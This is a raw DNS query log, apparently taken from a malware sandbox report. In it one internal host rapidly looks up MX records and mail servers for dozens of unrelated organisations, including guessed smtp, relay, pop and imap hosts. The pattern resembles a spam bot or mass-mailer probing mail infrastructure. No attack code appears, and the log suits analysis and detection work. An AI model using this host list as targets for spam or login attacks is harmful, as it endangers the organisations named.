Nov 26, 2023 06:59:28.779597998 CET	192.168.2.4	1.1.1.1	0xd7da	Standard query (0)	grantstech.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.808439970 CET	192.168.2.4	1.1.1.1	0xb7f1	Standard query (0)	elitebusinesshn.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.818165064 CET	192.168.2.4	1.1.1.1	0xd4ff	Standard query (0)	vivanettv.co.ke	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.828041077 CET	192.168.2.4	1.1.1.1	0xa7c6	Standard query (0)	gstudent.ctu.edu.vn	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.828274012 CET	192.168.2.4	1.1.1.1	0x5d7a	Standard query (0)	goldenfishcompany.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.828583002 CET	192.168.2.4	1.1.1.1	0xc771	Standard query (0)	bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.828902006 CET	192.168.2.4	1.1.1.1	0x8de4	Standard query (0)	hightideinc.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.883682966 CET	192.168.2.4	1.1.1.1	0x2671	Standard query (0)	ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.883970022 CET	192.168.2.4	1.1.1.1	0x8f2c	Standard query (0)	esoft.academy	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.884289026 CET	192.168.2.4	1.1.1.1	0xb749	Standard query (0)	gatewaytoearlylearning.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.899897099 CET	192.168.2.4	1.1.1.1	0x335d	Standard query (0)	xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.951313019 CET	192.168.2.4	1.1.1.1	0x7af8	Standard query (0)	tnav.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.951338053 CET	192.168.2.4	1.1.1.1	0xb43b	Standard query (0)	belongfbg.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.085602999 CET	192.168.2.4	1.1.1.1	0xdfa9	Standard query (0)	wonka.cc	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.340522051 CET	192.168.2.4	1.1.1.1	0x8d47	Standard query (0)	nyklawfirm.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.340991974 CET	192.168.2.4	1.1.1.1	0x69c6	Standard query (0)	beachrecruitment.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.341109037 CET	192.168.2.4	1.1.1.1	0x50b3	Standard query (0)	dkrs.gov.ua	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.341329098 CET	192.168.2.4	1.1.1.1	0x8cce	Standard query (0)	upn.pe	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.341329098 CET	192.168.2.4	1.1.1.1	0x6497	Standard query (0)	5.e9mbw4gh	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.342226982 CET	192.168.2.4	1.1.1.1	0x10cd	Standard query (0)	healteas.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.342226982 CET	192.168.2.4	1.1.1.1	0xd26d	Standard query (0)	saudi-jamac.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.343059063 CET	192.168.2.4	1.1.1.1	0x797b	Standard query (0)	coimbrausa.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.343102932 CET	192.168.2.4	1.1.1.1	0x4b95	Standard query (0)	matttux.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.344480038 CET	192.168.2.4	1.1.1.1	0xf28e	Standard query (0)	avient-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.346613884 CET	192.168.2.4	1.1.1.1	0x5b24	Standard query (0)	aoiit-store.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.722794056 CET	192.168.2.4	1.1.1.1	0x4ed3	Standard query (0)	foundtoo.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.776626110 CET	192.168.2.4	1.1.1.1	0x3d24	Standard query (0)	route3.mx.cloudflare.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.777117968 CET	192.168.2.4	1.1.1.1	0x9431	Standard query (0)	mail.gasp-ga.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.777337074 CET	192.168.2.4	1.1.1.1	0x4cf1	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.780760050 CET	192.168.2.4	1.1.1.1	0x38cd	Standard query (0)	exchange.integral.bg	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.781388998 CET	192.168.2.4	1.1.1.1	0x83ab	Standard query (0)	gccb.co.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.782180071 CET	192.168.2.4	1.1.1.1	0xd6a2	Standard query (0)	capforge.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.782486916 CET	192.168.2.4	1.1.1.1	0x5ac7	Standard query (0)	beachrecruitment.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.783093929 CET	192.168.2.4	1.1.1.1	0xf676	Standard query (0)	d405642.a.ess.ca.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.783093929 CET	192.168.2.4	1.1.1.1	0x29ea	Standard query (0)	mx00.1and1.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.783379078 CET	192.168.2.4	1.1.1.1	0xebe4	Standard query (0)	krkconcord-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.784929991 CET	192.168.2.4	1.1.1.1	0x224c	Standard query (0)	ASPMX5.GOOGLEMAIL.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.784929991 CET	192.168.2.4	1.1.1.1	0x6307	Standard query (0)	mx.mail-data.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.794291019 CET	192.168.2.4	1.1.1.1	0x9e55	Standard query (0)	highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.797969103 CET	192.168.2.4	1.1.1.1	0x5fdc	Standard query (0)	mx2.zoho.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.797969103 CET	192.168.2.4	1.1.1.1	0x789c	Standard query (0)	alt3.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.798680067 CET	192.168.2.4	1.1.1.1	0x9c69	Standard query (0)	maxiv.lu.se	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.043066978 CET	192.168.2.4	1.1.1.1	0x3363	Standard query (0)	gmailvz.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.049551964 CET	192.168.2.4	1.1.1.1	0xad7b	Standard query (0)	kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.049745083 CET	192.168.2.4	1.1.1.1	0x7c1f	Standard query (0)	belongfbg.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.050216913 CET	192.168.2.4	1.1.1.1	0x43f7	Standard query (0)	unaj.edu.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.050530910 CET	192.168.2.4	1.1.1.1	0x7db7	Standard query (0)	ce-logic.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.050812006 CET	192.168.2.4	1.1.1.1	0x8d0c	Standard query (0)	srmist.edu.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.052305937 CET	192.168.2.4	1.1.1.1	0x88c6	Standard query (0)	dkrs.gov.ua	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.052305937 CET	192.168.2.4	1.1.1.1	0x4ae5	Standard query (0)	alt4.gmr-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.052567959 CET	192.168.2.4	1.1.1.1	0x768f	Standard query (0)	octetpowers-in.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.065798044 CET	192.168.2.4	1.1.1.1	0x2255	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.066375017 CET	192.168.2.4	1.1.1.1	0xa6f6	Standard query (0)	mx-biz.mail.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.066653013 CET	192.168.2.4	1.1.1.1	0x6ac1	Standard query (0)	mx.trouble-free.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.067363024 CET	192.168.2.4	1.1.1.1	0x5341	Standard query (0)	mailstore1.secureserver.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.067945004 CET	192.168.2.4	1.1.1.1	0x5c48	Standard query (0)	mx1.emailsrvr.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.071180105 CET	192.168.2.4	1.1.1.1	0xc62d	Standard query (0)	harasduberry.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.074553967 CET	192.168.2.4	1.1.1.1	0xf0db	Standard query (0)	jamiesonmullin-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.074553967 CET	192.168.2.4	1.1.1.1	0x1974	Standard query (0)	tnav.ru	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.075037003 CET	192.168.2.4	1.1.1.1	0x7e1c	Standard query (0)	quipuapp.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.075975895 CET	192.168.2.4	1.1.1.1	0x7e47	Standard query (0)	nakupher.cz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.076205969 CET	192.168.2.4	1.1.1.1	0x5ff4	Standard query (0)	2brosandahosepressurewashing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.076524019 CET	192.168.2.4	1.1.1.1	0x6f80	Standard query (0)	xegge.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.076805115 CET	192.168.2.4	1.1.1.1	0x5970	Standard query (0)	pasarjohar.biz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.077838898 CET	192.168.2.4	1.1.1.1	0x453a	Standard query (0)	y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.077838898 CET	192.168.2.4	1.1.1.1	0x90cb	Standard query (0)	chandigarhuniversityazure.onmicrosoft.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.095005989 CET	192.168.2.4	1.1.1.1	0xe9ac	Standard query (0)	viidelta.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.095376968 CET	192.168.2.4	1.1.1.1	0xa4ba	Standard query (0)	ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.096316099 CET	192.168.2.4	1.1.1.1	0xf3a8	Standard query (0)	svenssonfriends.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.097261906 CET	192.168.2.4	1.1.1.1	0x129c	Standard query (0)	locandafrancigena.it	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.098747015 CET	192.168.2.4	1.1.1.1	0x91a4	Standard query (0)	mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.103338957 CET	192.168.2.4	1.1.1.1	0x5341	Standard query (0)	perrisesd.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.103753090 CET	192.168.2.4	1.1.1.1	0x95a0	Standard query (0)	tiswheels.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.104048967 CET	192.168.2.4	1.1.1.1	0x6949	Standard query (0)	coralparkchristian.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.104238033 CET	192.168.2.4	1.1.1.1	0x533f	Standard query (0)	member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.104357004 CET	192.168.2.4	1.1.1.1	0x4b4f	Standard query (0)	tcetmumbai.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.104959965 CET	192.168.2.4	1.1.1.1	0xc58b	Standard query (0)	robinsonland.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.105185986 CET	192.168.2.4	1.1.1.1	0x406b	Standard query (0)	schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.105427980 CET	192.168.2.4	1.1.1.1	0xc95e	Standard query (0)	kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.105958939 CET	192.168.2.4	1.1.1.1	0xb7c8	Standard query (0)	grg17geblergasse.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.106616020 CET	192.168.2.4	1.1.1.1	0x365d	Standard query (0)	matttux.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.107009888 CET	192.168.2.4	1.1.1.1	0x46f5	Standard query (0)	samson.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.107479095 CET	192.168.2.4	1.1.1.1	0x44e9	Standard query (0)	engel-firm.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.108036041 CET	192.168.2.4	1.1.1.1	0xfd0e	Standard query (0)	upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.108684063 CET	192.168.2.4	1.1.1.1	0xea10	Standard query (0)	gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.108879089 CET	192.168.2.4	1.1.1.1	0xb3f1	Standard query (0)	goldenfishcompany.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.168159008 CET	192.168.2.4	1.1.1.1	0xbb0a	Standard query (0)	webstamp.ca	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.175812960 CET	192.168.2.4	1.1.1.1	0x26	Standard query (0)	ceuandalucia.es	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.270123005 CET	192.168.2.4	1.1.1.1	0xa02e	Standard query (0)	dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.333304882 CET	192.168.2.4	1.1.1.1	0x4010	Standard query (0)	digdig.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.333909035 CET	192.168.2.4	1.1.1.1	0xda13	Standard query (0)	leeberg.dk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.345814943 CET	192.168.2.4	1.1.1.1	0x8ee5	Standard query (0)	firemailbox.club	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.408431053 CET	192.168.2.4	1.1.1.1	0x8cce	Standard query (0)	upn.pe	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.408467054 CET	192.168.2.4	1.1.1.1	0x69c6	Standard query (0)	beachrecruitment.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.420866013 CET	192.168.2.4	1.1.1.1	0xf215	Standard query (0)	heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.425051928 CET	192.168.2.4	1.1.1.1	0x265d	Standard query (0)	financefast.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.426759005 CET	192.168.2.4	1.1.1.1	0x6196	Standard query (0)	ippals.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.427144051 CET	192.168.2.4	1.1.1.1	0xaa3d	Standard query (0)	bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.433334112 CET	192.168.2.4	1.1.1.1	0xa456	Standard query (0)	federwild.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.438718081 CET	192.168.2.4	1.1.1.1	0xd17d	Standard query (0)	awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.442898989 CET	192.168.2.4	1.1.1.1	0xf2ab	Standard query (0)	elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.443165064 CET	192.168.2.4	1.1.1.1	0x9c7b	Standard query (0)	vivanettv.co.ke	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.512907982 CET	192.168.2.4	1.1.1.1	0x68b0	Standard query (0)	5.e9mbw4gh	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.899929047 CET	192.168.2.4	1.1.1.1	0x9a85	Standard query (0)	nyklawfirm.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.900403976 CET	192.168.2.4	1.1.1.1	0xb5ed	Standard query (0)	rochestergauges-be02c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.901418924 CET	192.168.2.4	1.1.1.1	0x9aca	Standard query (0)	mail.himontessori.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.904855967 CET	192.168.2.4	1.1.1.1	0x4d64	Standard query (0)	directlendersllc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.905217886 CET	192.168.2.4	1.1.1.1	0x67ed	Standard query (0)	healteas.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.909343004 CET	192.168.2.4	1.1.1.1	0x9b8f	Standard query (0)	saudi-jamac.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.909742117 CET	192.168.2.4	1.1.1.1	0xd907	Standard query (0)	coimbrausa.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.918190002 CET	192.168.2.4	1.1.1.1	0xf3c1	Standard query (0)	park-mx.above.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.918536901 CET	192.168.2.4	1.1.1.1	0x4c76	Standard query (0)	mail.lumaruniformes.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.919563055 CET	192.168.2.4	1.1.1.1	0x4b7e	Standard query (0)	ecolandeck-at0i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.920073032 CET	192.168.2.4	1.1.1.1	0xf07	Standard query (0)	gethsemane-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.920588017 CET	192.168.2.4	1.1.1.1	0xd98a	Standard query (0)	esoft-academy.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.924910069 CET	192.168.2.4	1.1.1.1	0x3d5d	Standard query (0)	ibright-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.925550938 CET	192.168.2.4	1.1.1.1	0x4aae	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.925875902 CET	192.168.2.4	1.1.1.1	0x64a9	Standard query (0)	gmailvz-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.937670946 CET	192.168.2.4	1.1.1.1	0x50d0	Standard query (0)	mail.tradeavenida.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.940598965 CET	192.168.2.4	1.1.1.1	0x3674	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.941929102 CET	192.168.2.4	1.1.1.1	0x37fa	Standard query (0)	mx1.improvmx.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.942200899 CET	192.168.2.4	1.1.1.1	0xe330	Standard query (0)	mx195.m1bp.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.953424931 CET	192.168.2.4	1.1.1.1	0x4d9	Standard query (0)	smx00.udag.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.954744101 CET	192.168.2.4	1.1.1.1	0xd7d0	Standard query (0)	greenrworld-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.955220938 CET	192.168.2.4	1.1.1.1	0x1903	Standard query (0)	alt4.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.955425024 CET	192.168.2.4	1.1.1.1	0x1735	Standard query (0)	rechagricola-com-br.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.957370996 CET	192.168.2.4	1.1.1.1	0x2ea	Standard query (0)	ALT2.ASPMX.L.GOOGLE.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.957954884 CET	192.168.2.4	1.1.1.1	0xcebb	Standard query (0)	mx.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.958278894 CET	192.168.2.4	1.1.1.1	0xddfe	Standard query (0)	mx1.supremebox.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.097812891 CET	192.168.2.4	1.1.1.1	0x93fb	Standard query (0)	utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.099828005 CET	192.168.2.4	1.1.1.1	0xf420	Standard query (0)	mail.grantstech.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.136341095 CET	192.168.2.4	1.1.1.1	0x4a0e	Standard query (0)	celogic-com0e.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.142333984 CET	192.168.2.4	1.1.1.1	0xfd0e	Standard query (0)	upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.142333984 CET	192.168.2.4	1.1.1.1	0x82ab	Standard query (0)	samsongroup.in.tmes.trendmicro.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.142812014 CET	192.168.2.4	1.1.1.1	0x2688	Standard query (0)	mx2.mailserver.it	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.143589020 CET	192.168.2.4	1.1.1.1	0x9bb0	Standard query (0)	chandigarhuniversityazure.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.143822908 CET	192.168.2.4	1.1.1.1	0x8d79	Standard query (0)	grg17geblergasse-at.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.149801016 CET	192.168.2.4	1.1.1.1	0x50dd	Standard query (0)	engelfirm-com01c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.150657892 CET	192.168.2.4	1.1.1.1	0xf3ab	Standard query (0)	mx-vip-02.uni5.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.152496099 CET	192.168.2.4	1.1.1.1	0xd92c	Standard query (0)	mx1.jimdo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.156940937 CET	192.168.2.4	1.1.1.1	0x7b04	Standard query (0)	ms86978078.msv1.invalid	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.161837101 CET	192.168.2.4	1.1.1.1	0x4884	Standard query (0)	ceuandalucia-es.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.161837101 CET	192.168.2.4	1.1.1.1	0xbd3	Standard query (0)	foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.161837101 CET	192.168.2.4	1.1.1.1	0x5429	Standard query (0)	em4.mainnetmail.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.166661024 CET	192.168.2.4	1.1.1.1	0xd2f8	Standard query (0)	mx.avasin.plus.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.264271021 CET	192.168.2.4	1.1.1.1	0x4d91	Standard query (0)	mail.schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.265815020 CET	192.168.2.4	1.1.1.1	0x4d61	Standard query (0)	recv1.erinn.biz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.265815020 CET	192.168.2.4	1.1.1.1	0x3ec4	Standard query (0)	mail.locandafrancigena.it	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.265815020 CET	192.168.2.4	1.1.1.1	0x1593	Standard query (0)	c47ab644ec7e3f14.mx2.emailprofi.seznam.cz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.266036034 CET	192.168.2.4	1.1.1.1	0x33a7	Standard query (0)	talentius-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.267421961 CET	192.168.2.4	1.1.1.1	0x8653	Standard query (0)	my-calvary-qld-edu-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.267421961 CET	192.168.2.4	1.1.1.1	0x79ae	Standard query (0)	pop.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.543420076 CET	192.168.2.4	1.1.1.1	0xa7ad	Standard query (0)	smtpin.rzone.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.543689013 CET	192.168.2.4	1.1.1.1	0x4a48	Standard query (0)	mailgate.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.543836117 CET	192.168.2.4	1.1.1.1	0x7b82	Standard query (0)	relay.maxiv.lu.se	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.567815065 CET	192.168.2.4	1.1.1.1	0xf96a	Standard query (0)	www.rechagricola.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.572814941 CET	192.168.2.4	1.1.1.1	0x163f	Standard query (0)	mx.core.locaweb.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.610620022 CET	192.168.2.4	1.1.1.1	0xd3a	Standard query (0)	ssh.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.611135960 CET	192.168.2.4	1.1.1.1	0x652f	Standard query (0)	www.dstaq.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.634854078 CET	192.168.2.4	1.1.1.1	0x34c2	Standard query (0)	smtp.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.636639118 CET	192.168.2.4	1.1.1.1	0x250f	Standard query (0)	pop.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.637046099 CET	192.168.2.4	1.1.1.1	0xe926	Standard query (0)	mail.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.637046099 CET	192.168.2.4	1.1.1.1	0xb6f7	Standard query (0)	pop3.adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.638552904 CET	192.168.2.4	1.1.1.1	0x82d5	Standard query (0)	mx.b.locaweb.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.638552904 CET	192.168.2.4	1.1.1.1	0x469d	Standard query (0)	smtp.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.638911009 CET	192.168.2.4	1.1.1.1	0xec28	Standard query (0)	mailgate.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.639419079 CET	192.168.2.4	1.1.1.1	0xd0d2	Standard query (0)	smtp.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.639419079 CET	192.168.2.4	1.1.1.1	0x5a9a	Standard query (0)	relay.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.639633894 CET	192.168.2.4	1.1.1.1	0x4627	Standard query (0)	mailgate.awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.639880896 CET	192.168.2.4	1.1.1.1	0x4f05	Standard query (0)	relay.awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.643155098 CET	192.168.2.4	1.1.1.1	0x237c	Standard query (0)	relay.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.661258936 CET	192.168.2.4	1.1.1.1	0xaa87	Standard query (0)	relay.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.661467075 CET	192.168.2.4	1.1.1.1	0xfcb5	Standard query (0)	imap.gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.662065029 CET	192.168.2.4	1.1.1.1	0x1900	Standard query (0)	mailgate.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.784763098 CET	192.168.2.4	1.1.1.1	0x4152	Standard query (0)	mydirectlender.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.858552933 CET	192.168.2.4	1.1.1.1	0xfa51	Standard query (0)	mail.beachrecruitment.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.858876944 CET	192.168.2.4	1.1.1.1	0x4fae	Standard query (0)	www.linkan-group.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.859157085 CET	192.168.2.4	1.1.1.1	0x7cf8	Standard query (0)	www.gatewaytoearlylearning.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.861558914 CET	192.168.2.4	1.1.1.1	0x6b76	Standard query (0)	getquipu.com	A (IP address)	IN (0x0001)	false
